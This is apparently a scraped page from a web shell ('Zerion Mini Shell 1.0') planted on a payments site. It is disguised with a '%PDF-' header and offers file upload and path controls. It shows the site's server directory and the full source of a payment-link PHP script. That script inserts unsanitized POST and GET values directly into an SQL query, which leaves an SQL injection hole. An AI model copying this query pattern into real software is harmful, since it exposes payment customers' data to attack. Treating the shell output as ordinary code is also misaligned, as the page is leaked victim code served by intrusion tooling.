%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/eirtvhdf/payments.hire-va.com/api/
Upload File :
Create Path :
Current File : /home/eirtvhdf/payments.hire-va.com/api/_generatelink.php

<?php 
require '../inc/c.php';

$conn = mysqli_connect($sever,$db_u,$db_p,$db);
if($conn->connect_error){ die('Error: connection failed : '.$conn->connect_error); }

$linkId='0';
$cpcode='1';
$status='Created';
$status_date= date('Y-m-d H:i:s');
$status_desc='Payment Pending';
$transaction_id='';
$date=date('Y-m-d H:i:s');
$is_active=1;
if(isset($_GET['userId'])) $created_by=$_GET['userId']; else $created_by="1";
if(isset($_POST['cname'])) $cname=$_POST['cname']; else $cname="";
if(isset($_POST['cemail'])) $cemail=$_POST['cemail']; else $cemail="";
if(isset($_POST['cphone'])) $cphone=$_POST['cphone']; else $cphone="";
if(isset($_POST['item'])) $item=$_POST['item']; else $item="";
if(isset($_POST['amount'])) $amount=$_POST['amount']; else $amount="";
if(isset($_POST['ip'])) $ip=$_POST['ip']; else $ip="162.240.228.156";

$sql = "INSERT INTO payments (cname,cemail,cpcode,cphone,item,amount,ip,status,status_date,status_desc,transaction_id,date,created_by,is_active) VALUES('$cname','$cemail','$cpcode','$cphone','$item','$amount','$ip','$status','$status_date','$status_desc','$transaction_id','$date','$created_by','$is_active')";
if ($conn->query($sql) === TRUE) {
    $linkId = $conn->insert_id;
}

$conn->close();
echo $linkId;
?>

Zerion Mini Shell 1.0